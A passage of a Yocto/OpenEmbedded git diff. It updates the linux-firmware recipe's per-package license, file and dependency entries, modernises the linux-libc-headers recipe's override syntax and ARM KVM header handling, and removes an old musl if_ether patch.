+LICENSE:${PN}-bcm43455 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43455 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4350c2 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4350c2 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4350 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4350 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4356 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4356 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm43569 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43569 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm43570 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43570 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4358 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4358 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm43602 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43602 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4366b = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4366b += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4366c = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4366c += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4371 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4371 += "${PN}-broadcom-license"
+
+# For broadcom cypress
+
+LICENSE:${PN}-cypress-license = "Firmware-cypress"
+FILES:${PN}-cypress-license = "${nonarch_base_libdir}/firmware/LICENCE.cypress"
+
+FILES:${PN}-bcm-0bb4-0306 = "${nonarch_base_libdir}/firmware/brcm/BCM-0bb4-0306.hcd"
+FILES:${PN}-bcm43340 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43340-sdio.* \
+ ${nonarch_base_libdir}/firmware/cypress/cyfmac43340-sdio.*"
+FILES:${PN}-bcm43362 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43362-sdio.* \
+ ${nonarch_base_libdir}/firmware/cypress/cyfmac43362-sdio.*"
+FILES:${PN}-bcm43430 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43430-sdio.* \
+ ${nonarch_base_libdir}/firmware/cypress/cyfmac43430-sdio.*"
+FILES:${PN}-bcm4354 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4354-sdio.bin \
+ ${nonarch_base_libdir}/firmware/cypress/cyfmac4354-sdio.bin \
+"
+FILES:${PN}-bcm4356-pcie = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4356-pcie.* \
+ ${nonarch_base_libdir}/firmware/cypress/cyfmac4356-pcie.* \
+"
+FILES:${PN}-bcm4373 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4373-sdio.bin \
+ ${nonarch_base_libdir}/firmware/brcm/brcmfmac4373.bin \
+ ${nonarch_base_libdir}/firmware/cypress/cyfmac4373-sdio.bin \
+ ${nonarch_base_libdir}/firmware/brcm/brcmfmac4373-sdio.clm_blob \
+"
+
+LICENSE:${PN}-bcm-0bb4-0306 = "Firmware-cypress"
+RDEPENDS:${PN}-bcm-0bb4-0306 += "${PN}-cypress-license"
+LICENSE:${PN}-bcm43340 = "Firmware-cypress"
+RDEPENDS:${PN}-bcm43340 += "${PN}-cypress-license"
+LICENSE:${PN}-bcm43362 = "Firmware-cypress"
+RDEPENDS:${PN}-bcm43362 += "${PN}-cypress-license"
+LICENSE:${PN}-bcm43430 = "Firmware-cypress"
+RDEPENDS:${PN}-bcm43430 += "${PN}-cypress-license"
+LICENSE:${PN}-bcm4354 = "Firmware-cypress"
+RDEPENDS:${PN}-bcm4354 += "${PN}-cypress-license"
+LICENSE:${PN}-bcm4356-pcie = "Firmware-cypress"
+RDEPENDS:${PN}-bcm4356-pcie += "${PN}-cypress-license"
+LICENSE:${PN}-bcm4373 = "Firmware-cypress"
+RDEPENDS:${PN}-bcm4373 += "${PN}-cypress-license"
+
+# For Broadcom bnx2-mips
+#
+# which is a separate case to the other Broadcom firmwares since its
+# license is contained in the shared WHENCE file.
+
+LICENSE:${PN}-bnx2-mips = "WHENCE"
+LICENSE:${PN}-whence-license = "WHENCE"
+
+FILES:${PN}-bnx2-mips = "${nonarch_base_libdir}/firmware/bnx2/bnx2-mips-09-6.2.1b.fw"
+FILES:${PN}-whence-license = "${nonarch_base_libdir}/firmware/WHENCE"
+
+RDEPENDS:${PN}-bnx2-mips += "${PN}-whence-license"
+
+# For imx-sdma
+LICENSE:${PN}-imx-sdma-imx6q = "Firmware-imx-sdma_firmware"
+LICENSE:${PN}-imx-sdma-imx7d = "Firmware-imx-sdma_firmware"
+LICENSE:${PN}-imx-sdma-license = "Firmware-imx-sdma_firmware"
+
+FILES:${PN}-imx-sdma-imx6q = "${nonarch_base_libdir}/firmware/imx/sdma/sdma-imx6q.bin"
+
+RPROVIDES:${PN}-imx-sdma-imx6q = "firmware-imx-sdma-imx6q"
+RREPLACES:${PN}-imx-sdma-imx6q = "firmware-imx-sdma-imx6q"
+RCONFLICTS:${PN}-imx-sdma-imx6q = "firmware-imx-sdma-imx6q"
+
+FILES:${PN}-imx-sdma-imx7d = "${nonarch_base_libdir}/firmware/imx/sdma/sdma-imx7d.bin"
+
+FILES:${PN}-imx-sdma-license = "${nonarch_base_libdir}/firmware/LICENSE.sdma_firmware"
+
+RDEPENDS:${PN}-imx-sdma-imx6q += "${PN}-imx-sdma-license"
+RDEPENDS:${PN}-imx-sdma-imx7d += "${PN}-imx-sdma-license"
+
+# For iwlwifi
+LICENSE:${PN}-iwlwifi = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-135-6 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-3160-7 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-3160-8 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-3160-9 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-3160-10 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-3160-12 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-3160-13 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-3160-16 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-3160-17 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-6000-4 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-6000g2a-5 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-6000g2a-6 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-6000g2b-5 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-6000g2b-6 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-6050-4 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-6050-5 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-7260 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-7265 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-7265d = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-8000c = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-8265 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-9000 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-misc = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-license = "Firmware-iwlwifi_firmware"
+
+
+FILES:${PN}-iwlwifi-license = "${nonarch_base_libdir}/firmware/LICENCE.iwlwifi_firmware"
+FILES:${PN}-iwlwifi-135-6 = "${nonarch_base_libdir}/firmware/iwlwifi-135-6.ucode"
+FILES:${PN}-iwlwifi-3160-7 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-7.ucode"
+FILES:${PN}-iwlwifi-3160-8 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-8.ucode"
+FILES:${PN}-iwlwifi-3160-9 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-9.ucode"
+FILES:${PN}-iwlwifi-3160-10 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-10.ucode"
+FILES:${PN}-iwlwifi-3160-12 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-12.ucode"
+FILES:${PN}-iwlwifi-3160-13 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-13.ucode"
+FILES:${PN}-iwlwifi-3160-16 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-16.ucode"
+FILES:${PN}-iwlwifi-3160-17 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-17.ucode"
+FILES:${PN}-iwlwifi-6000-4 = "${nonarch_base_libdir}/firmware/iwlwifi-6000-4.ucode"
+FILES:${PN}-iwlwifi-6000g2a-5 = "${nonarch_base_libdir}/firmware/iwlwifi-6000g2a-5.ucode"
+FILES:${PN}-iwlwifi-6000g2a-6 = "${nonarch_base_libdir}/firmware/iwlwifi-6000g2a-6.ucode"
+FILES:${PN}-iwlwifi-6000g2b-5 = "${nonarch_base_libdir}/firmware/iwlwifi-6000g2b-5.ucode"
+FILES:${PN}-iwlwifi-6000g2b-6 = "${nonarch_base_libdir}/firmware/iwlwifi-6000g2b-6.ucode"
+FILES:${PN}-iwlwifi-6050-4 = "${nonarch_base_libdir}/firmware/iwlwifi-6050-4.ucode"
+FILES:${PN}-iwlwifi-6050-5 = "${nonarch_base_libdir}/firmware/iwlwifi-6050-5.ucode"
+FILES:${PN}-iwlwifi-7260 = "${nonarch_base_libdir}/firmware/iwlwifi-7260-*.ucode"
+FILES:${PN}-iwlwifi-7265 = "${nonarch_base_libdir}/firmware/iwlwifi-7265-*.ucode"
+FILES:${PN}-iwlwifi-7265d = "${nonarch_base_libdir}/firmware/iwlwifi-7265D-*.ucode"
+FILES:${PN}-iwlwifi-8000c = "${nonarch_base_libdir}/firmware/iwlwifi-8000C-*.ucode"
+FILES:${PN}-iwlwifi-8265 = "${nonarch_base_libdir}/firmware/iwlwifi-8265-*.ucode"
+FILES:${PN}-iwlwifi-9000 = "${nonarch_base_libdir}/firmware/iwlwifi-9000-*.ucode"
+FILES:${PN}-iwlwifi-misc = "${nonarch_base_libdir}/firmware/iwlwifi-*.ucode"
+
+RDEPENDS:${PN}-iwlwifi-135-6 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-3160-7 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-3160-8 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-3160-9 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-3160-10 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-3160-12 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-3160-13 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-3160-16 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-3160-17 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-6000-4 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-6000g2a-5 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-6000g2a-6 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-6000g2b-5 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-6000g2b-6 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-6050-4 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-6050-5 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-7260 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-7265 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-7265d = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-8000c = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-8265 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-9000 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-misc = "${PN}-iwlwifi-license"
+
+# -iwlwifi-misc is a "catch all" package that includes all the iwlwifi
+# firmwares that are not already included in other -iwlwifi- packages.
+# -iwlwifi is a virtual package that depends upon all iwlwifi packages.
+# These are distinct in order to allow the -misc firmwares to be installed
+# without pulling in every other iwlwifi package.
+ALLOW_EMPTY:${PN}-iwlwifi = "1"
+ALLOW_EMPTY:${PN}-iwlwifi-misc = "1"
+
+# Handle package updating for the newly merged iwlwifi groupings
+RPROVIDES:${PN}-iwlwifi-7265 = "${PN}-iwlwifi-7265-8 ${PN}-iwlwifi-7265-9"
+RREPLACES:${PN}-iwlwifi-7265 = "${PN}-iwlwifi-7265-8 ${PN}-iwlwifi-7265-9"
+RCONFLICTS:${PN}-iwlwifi-7265 = "${PN}-iwlwifi-7265-8 ${PN}-iwlwifi-7265-9"
+
+RPROVIDES:${PN}-iwlwifi-7260 = "${PN}-iwlwifi-7260-7 ${PN}-iwlwifi-7260-8 ${PN}-iwlwifi-7260-9"
+RREPLACES:${PN}-iwlwifi-7260 = "${PN}-iwlwifi-7260-7 ${PN}-iwlwifi-7260-8 ${PN}-iwlwifi-7260-9"
+RCONFLICTS:${PN}-iwlwifi-7260 = "${PN}-iwlwifi-7260-7 ${PN}-iwlwifi-7260-8 ${PN}-iwlwifi-7260-9"
+
+# For ibt
+LICENSE:${PN}-ibt-license = "Firmware-ibt_firmware"
+LICENSE:${PN}-ibt-hw-37-7 = "Firmware-ibt_firmware"
+LICENSE:${PN}-ibt-hw-37-8 = "Firmware-ibt_firmware"
+LICENSE:${PN}-ibt-11-5 = "Firmware-ibt_firmware"
+LICENSE:${PN}-ibt-12-16 = "Firmware-ibt_firmware"
+LICENSE:${PN}-ibt-17 = "Firmware-ibt_firmware"
+LICENSE:${PN}-ibt-20 = "Firmware-ibt_firmware"
+LICENSE:${PN}-ibt-misc = "Firmware-ibt_firmware"
+
+FILES:${PN}-ibt-license = "${nonarch_base_libdir}/firmware/LICENCE.ibt_firmware"
+FILES:${PN}-ibt-hw-37-7 = "${nonarch_base_libdir}/firmware/intel/ibt-hw-37.7*.bseq"
+FILES:${PN}-ibt-hw-37-8 = "${nonarch_base_libdir}/firmware/intel/ibt-hw-37.8*.bseq"
+FILES:${PN}-ibt-11-5 = "${nonarch_base_libdir}/firmware/intel/ibt-11-5.sfi ${nonarch_base_libdir}/firmware/intel/ibt-11-5.ddc"
+FILES:${PN}-ibt-12-16 = "${nonarch_base_libdir}/firmware/intel/ibt-12-16.sfi ${nonarch_base_libdir}/firmware/intel/ibt-12-16.ddc"
+FILES:${PN}-ibt-17 = "${nonarch_base_libdir}/firmware/intel/ibt-17-*.sfi ${nonarch_base_libdir}/firmware/intel/ibt-17-*.ddc"
+FILES:${PN}-ibt-20 = "${nonarch_base_libdir}/firmware/intel/ibt-20-*.sfi ${nonarch_base_libdir}/firmware/intel/ibt-20-*.ddc"
+FILES:${PN}-ibt-misc = "${nonarch_base_libdir}/firmware/intel/ibt-*"
+
+RDEPENDS:${PN}-ibt-hw-37-7 = "${PN}-ibt-license"
+RDEPENDS:${PN}-ibt-hw-37.8 = "${PN}-ibt-license"
+RDEPENDS:${PN}-ibt-11-5 = "${PN}-ibt-license"
+RDEPENDS:${PN}-ibt-12-16 = "${PN}-ibt-license"
+RDEPENDS:${PN}-ibt-17 = "${PN}-ibt-license"
+RDEPENDS:${PN}-ibt-20 = "${PN}-ibt-license"
+RDEPENDS:${PN}-ibt-misc = "${PN}-ibt-license"
+
+ALLOW_EMPTY:${PN}-ibt= "1"
+ALLOW_EMPTY:${PN}-ibt-misc = "1"
+
+LICENSE:${PN}-i915 = "Firmware-i915"
+LICENSE:${PN}-i915-license = "Firmware-i915"
+FILES:${PN}-i915-license = "${nonarch_base_libdir}/firmware/LICENSE.i915"
+FILES:${PN}-i915 = "${nonarch_base_libdir}/firmware/i915"
+RDEPENDS:${PN}-i915 = "${PN}-i915-license"
+
+LICENSE:${PN}-ice = "Firmware-ice"
+LICENSE:${PN}-ice-license = "Firmware-ice"
+FILES:${PN}-ice-license = "${nonarch_base_libdir}/firmware/LICENSE.ice"
+FILES:${PN}-ice = "${nonarch_base_libdir}/firmware/intel/ice"
+RDEPENDS:${PN}-ice = "${PN}-ice-license"
+
+FILES:${PN}-adsp-sst-license = "${nonarch_base_libdir}/firmware/LICENCE.adsp_sst"
+LICENSE:${PN}-adsp-sst = "Firmware-adsp_sst"
+LICENSE:${PN}-adsp-sst-license = "Firmware-adsp_sst"
+FILES:${PN}-adsp-sst = "${nonarch_base_libdir}/firmware/intel/dsp_fw*"
+RDEPENDS:${PN}-adsp-sst = "${PN}-adsp-sst-license"
+
+# For QAT
+LICENSE:${PN}-qat = "Firmware-qat"
+LICENSE:${PN}-qat-license = "Firmware-qat"
+FILES:${PN}-qat-license = "${nonarch_base_libdir}/firmware/LICENCE.qat_firmware"
+FILES:${PN}-qat = "${nonarch_base_libdir}/firmware/qat*.bin"
+RDEPENDS:${PN}-qat = "${PN}-qat-license"
+
+# For QCOM VPU/GPU and SDM845
+LICENSE:${PN}-qcom-license = "Firmware-qcom"
+FILES:${PN}-qcom-license = "${nonarch_base_libdir}/firmware/LICENSE.qcom ${nonarch_base_libdir}/firmware/qcom/NOTICE.txt"
+FILES:${PN}-qcom-venus-1.8 = "${nonarch_base_libdir}/firmware/qcom/venus-1.8/*"
+FILES:${PN}-qcom-venus-4.2 = "${nonarch_base_libdir}/firmware/qcom/venus-4.2/*"
+FILES:${PN}-qcom-venus-5.2 = "${nonarch_base_libdir}/firmware/qcom/venus-5.2/*"
+FILES:${PN}-qcom-venus-5.4 = "${nonarch_base_libdir}/firmware/qcom/venus-5.4/*"
+FILES:${PN}-qcom-vpu-1.0 = "${nonarch_base_libdir}/firmware/qcom/vpu-1.0/*"
+FILES:${PN}-qcom-vpu-2.0 = "${nonarch_base_libdir}/firmware/qcom/vpu-2.0/*"
+FILES:${PN}-qcom-adreno-a3xx = "${nonarch_base_libdir}/firmware/qcom/a300_*.fw ${nonarch_base_libdir}/firmware/a300_*.fw"
+FILES:${PN}-qcom-adreno-a530 = "${nonarch_base_libdir}/firmware/qcom/a530*.*"
+FILES:${PN}-qcom-adreno-a630 = "${nonarch_base_libdir}/firmware/qcom/a630*.* ${nonarch_base_libdir}/firmware/qcom/sdm845/a630*.*"
+FILES:${PN}-qcom-adreno-a650 = "${nonarch_base_libdir}/firmware/qcom/a650*.* ${nonarch_base_libdir}/firmware/qcom/sm8250/a650*.*"
+FILES:${PN}-qcom-adreno-a660 = "${nonarch_base_libdir}/firmware/qcom/a660*.*"
+FILES:${PN}-qcom-sdm845-audio = "${nonarch_base_libdir}/firmware/qcom/sdm845/adsp*.*"
+FILES:${PN}-qcom-sdm845-compute = "${nonarch_base_libdir}/firmware/qcom/sdm845/cdsp*.*"
+FILES:${PN}-qcom-sdm845-modem = "${nonarch_base_libdir}/firmware/qcom/sdm845/mba.mbn ${nonarch_base_libdir}/firmware/qcom/sdm845/modem*.* ${nonarch_base_libdir}/firmware/qcom/sdm845/wlanmdsp.mbn"
+FILES:${PN}-qcom-sm8250-audio = "${nonarch_base_libdir}/firmware/qcom/sm8250/adsp*.*"
+FILES:${PN}-qcom-sm8250-compute = "${nonarch_base_libdir}/firmware/qcom/sm8250/cdsp*.*"
+RDEPENDS:${PN}-qcom-venus-1.8 = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-venus-4.2 = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-venus-5.2 = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-venus-5.4 = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-vpu-1.0 = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-vpu-2.0 = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-adreno-a3xx = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-adreno-a530 = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-adreno-a630 = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-adreno-a650 = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-adreno-a660 = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-sdm845-audio = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-sdm845-compute = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-sdm845-modem = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-sm8250-audio = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-sm8250-compute = "${PN}-qcom-license"
+
+FILES:${PN}-liquidio = "${nonarch_base_libdir}/firmware/liquidio"
+
+# For Amlogic VDEC
+LICENSE:${PN}-amlogic-vdec = "Firmware-amlogic_vdec"
+FILES:${PN}-amlogic-vdec-license = "${nonarch_base_libdir}/firmware/LICENSE.amlogic_vdec"
+FILES:${PN}-amlogic-vdec = "${nonarch_base_libdir}/firmware/meson/vdec/*"
+RDEPENDS:${PN}-amlogic-vdec = "${PN}-amlogic-vdec-license"
+
+# For other firmwares
+# Maybe split out to separate packages when needed.
+LICENSE:${PN} = "\
+ Firmware-Abilis \
+ & Firmware-agere \
+ & Firmware-amdgpu \
+ & Firmware-amd-ucode \
+ & Firmware-amlogic_vdec \
+ & Firmware-atmel \
+ & Firmware-ca0132 \
+ & Firmware-cavium \
+ & Firmware-chelsio_firmware \
+ & Firmware-cw1200 \
+ & Firmware-dib0700 \
+ & Firmware-e100 \
+ & Firmware-ene_firmware \
+ & Firmware-fw_sst_0f28 \
+ & Firmware-go7007 \
+ & Firmware-hfi1_firmware \
+ & Firmware-i2400m \
+ & Firmware-ibt_firmware \
+ & Firmware-it913x \
+ & Firmware-IntcSST2 \
+ & Firmware-kaweth \
+ & Firmware-moxa \
+ & Firmware-myri10ge_firmware \
+ & Firmware-nvidia \
+ & Firmware-OLPC \
+ & Firmware-ath9k-htc \
+ & Firmware-phanfw \
+ & Firmware-qat \
+ & Firmware-qcom \
+ & Firmware-qla1280 \
+ & Firmware-qla2xxx \
+ & Firmware-r8a779x_usb3 \
+ & Firmware-radeon \
+ & Firmware-ralink_a_mediatek_company_firmware \
+ & Firmware-ralink-firmware \
+ & Firmware-imx-sdma_firmware \
+ & Firmware-siano \
+ & Firmware-tda7706-firmware \
+ & Firmware-ti-connectivity \
+ & Firmware-ti-keystone \
+ & Firmware-ueagle-atm4-firmware \
+ & Firmware-wl1251 \
+ & Firmware-xc4000 \
+ & Firmware-xc5000 \
+ & Firmware-xc5000c \
+ & WHENCE \
+"
+
+FILES:${PN}-license += "${nonarch_base_libdir}/firmware/LICEN*"
+FILES:${PN} += "${nonarch_base_libdir}/firmware/*"
+RDEPENDS:${PN} += "${PN}-license"
+RDEPENDS:${PN} += "${PN}-whence-license"
+
+# Make linux-firmware depend on all of the split-out packages.
+# Make linux-firmware-iwlwifi depend on all of the split-out iwlwifi packages.
+# Make linux-firmware-ibt depend on all of the split-out ibt packages.
+python populate_packages:prepend () {
+ firmware_pkgs = oe.utils.packages_filter_out_system(d)
+ d.appendVar('RRECOMMENDS:linux-firmware', ' ' + ' '.join(firmware_pkgs))
+
+ iwlwifi_pkgs = filter(lambda x: x.find('-iwlwifi-') != -1, firmware_pkgs)
+ d.appendVar('RRECOMMENDS:linux-firmware-iwlwifi', ' ' + ' '.join(iwlwifi_pkgs))
+
+ ibt_pkgs = filter(lambda x: x.find('-ibt-') != -1, firmware_pkgs)
+ d.appendVar('RRECOMMENDS:linux-firmware-ibt', ' ' + ' '.join(ibt_pkgs))
+}
+
+# Firmware files are generally not ran on the CPU, so they can be
+# allarch despite being architecture specific
+INSANE_SKIP = "arch"
diff --git a/meta/recipes-kernel/linux-libc-headers/linux-libc-headers.inc b/meta/recipes-kernel/linux-libc-headers/linux-libc-headers.inc
index 7f838f623e..47f09952de 100644
--- a/meta/recipes-kernel/linux-libc-headers/linux-libc-headers.inc
+++ b/meta/recipes-kernel/linux-libc-headers/linux-libc-headers.inc
@@ -1,6 +1,8 @@
SUMMARY = "Sanitized set of kernel headers for the C library's use"
+HOMEPAGE = "https://www.kernel.org/"
+DESCRIPTION = "Designed to maintain an Application Programming Interface (API) stable version of the Linux headers"
SECTION = "devel"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
#########################################################################
#### PLEASE READ
@@ -16,7 +18,7 @@ LICENSE = "GPLv2"
# and have a machine specific libc.
#
# But you have some kernel headers you need for some driver? That is fine
-# but get them from STAGING_KERNEL_DIR where the kernel installs itself.
+# but get them from STAGING_KERNEL_BUILDDIR where the kernel installs itself.
# This will make the package using them machine specific but this is much
# better than having a machine specific C library. This does mean your
# recipe needs a
@@ -30,7 +32,9 @@ LICENSE = "GPLv2"
#
# -- RP
-LIC_FILES_CHKSUM = "file://COPYING;md5=bbea815ee2795b2f4230826c0c6b8814"
+LIC_FILES_CHKSUM ?= "file://COPYING;md5=bbea815ee2795b2f4230826c0c6b8814"
+
+RECIPE_NO_UPDATE_REASON = "Recipe is updated through a separate process"
python __anonymous () {
major = d.getVar("PV").split('.')[0]
@@ -44,6 +48,9 @@ python __anonymous () {
d.setVar("HEADER_FETCH_VER", "2.6")
}
+MAJ_VER = "${@oe.utils.trim_version("${PV}", 2).split('.')[0]}"
+MIN_VER = "${@oe.utils.trim_version("${PV}", 2).split('.')[1]}"
+
inherit kernel-arch pkgconfig multilib_header
KORG_ARCHIVE_COMPRESSION ?= "xz"
@@ -68,27 +75,36 @@ do_install() {
find ${D}${includedir} -name ..install.cmd | xargs rm -f
}
-do_install_append_aarch64 () {
+do_install:append:aarch64 () {
do_install_armmultilib
}
-do_install_append_arm () {
+do_install:append:arm () {
do_install_armmultilib
}
-do_install_append_armeb () {
+do_install:append:armeb () {
do_install_armmultilib
}
do_install_armmultilib () {
- oe_multilib_header asm/auxvec.h asm/bitsperlong.h asm/byteorder.h asm/fcntl.h asm/hwcap.h asm/ioctls.h asm/kvm.h asm/kvm_para.h asm/mman.h asm/param.h asm/perf_regs.h asm/bpf_perf_event.h
+ if [ ${MAJ_VER} -gt 5 ]; then
+ ARM_KVM_HEADER=""
+ else
+ if [ ${MAJ_VER} -eq 5 ] && [ ${MIN_VER} -ge 8 ]; then
+ ARM_KVM_HEADER=""
+ else
+ ARM_KVM_HEADER="asm/kvm.h"
+ fi
+ fi
+ oe_multilib_header asm/auxvec.h asm/bitsperlong.h asm/byteorder.h asm/fcntl.h asm/hwcap.h asm/ioctls.h $ARM_KVM_HEADER asm/kvm_para.h asm/mman.h asm/param.h asm/perf_regs.h asm/bpf_perf_event.h
oe_multilib_header asm/posix_types.h asm/ptrace.h asm/setup.h asm/sigcontext.h asm/siginfo.h asm/signal.h asm/stat.h asm/statfs.h asm/swab.h asm/types.h asm/unistd.h
}
BBCLASSEXTEND = "nativesdk"
-RDEPENDS_${PN}-dev = ""
-RRECOMMENDS_${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
+RDEPENDS:${PN}-dev = ""
+RRECOMMENDS:${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
INHIBIT_DEFAULT_DEPS = "1"
-DEPENDS += "unifdef-native bison-native"
+DEPENDS += "unifdef-native bison-native rsync-native"
diff --git a/meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0001-if_ether-move-muslc-ethhdr-protection-to-uapi-file.patch b/meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0001-if_ether-move-muslc-ethhdr-protection-to-uapi-file.patch
deleted file mode 100644
index 68b244698f..0000000000
--- a/meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0001-if_ether-move-muslc-ethhdr-protection-to-uapi-file.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From 897736166fd709906a5fdf16eb23f8fddff770b5 Mon Sep 17 00:00:00 2001
-From: Bruce Ashfield <bruce.ashfield@windriver.com>
-Date: Thu, 1 Mar 2018 18:31:01 -0500
-Subject: [PATCH] if_ether: move muslc ethhdr protection to uapi file
-
-Signed-off-by: Bruce Ashfield <bruce.ashfield@windriver.com>
-Upstream-Status: Pending
----
- include/uapi/linux/if_ether.h | 6 ++++++
- 1 file changed, 6 insertions(+)
-
-diff --git a/include/uapi/linux/if_ether.h b/include/uapi/linux/if_ether.h
-index 153c9c2..7b69b73 100644
---- a/include/uapi/linux/if_ether.h
-+++ b/include/uapi/linux/if_ether.h
-@@ -149,6 +149,12 @@
- * This is an Ethernet frame header.
- */
-
-+#ifdef _NETINET_IF_ETHER_H /* musl */
-+#define __UAPI_DEF_ETHHDR 0
-+#else /* glibc uses __NETINET_IF_ETHER_H, and includes the kernel header. */
-+#define __UAPI_DEF_ETHHDR 1
-+#endif
-+
- /* allow libcs like musl to deactivate this, glibc does not implement this. */
- #ifndef __UAPI_DEF_ETHHDR
- #define __UAPI_DEF_ETHHDR 1
---
-2.7.4
-
diff --git a/meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0001-include-linux-stddef.h-in-swab.h-uapi-header.patch b/meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0001-include-linux-stddef.h-in-swab.h-uapi-header.patch
index 9d17daa70f..5b7c1b6e21 100644
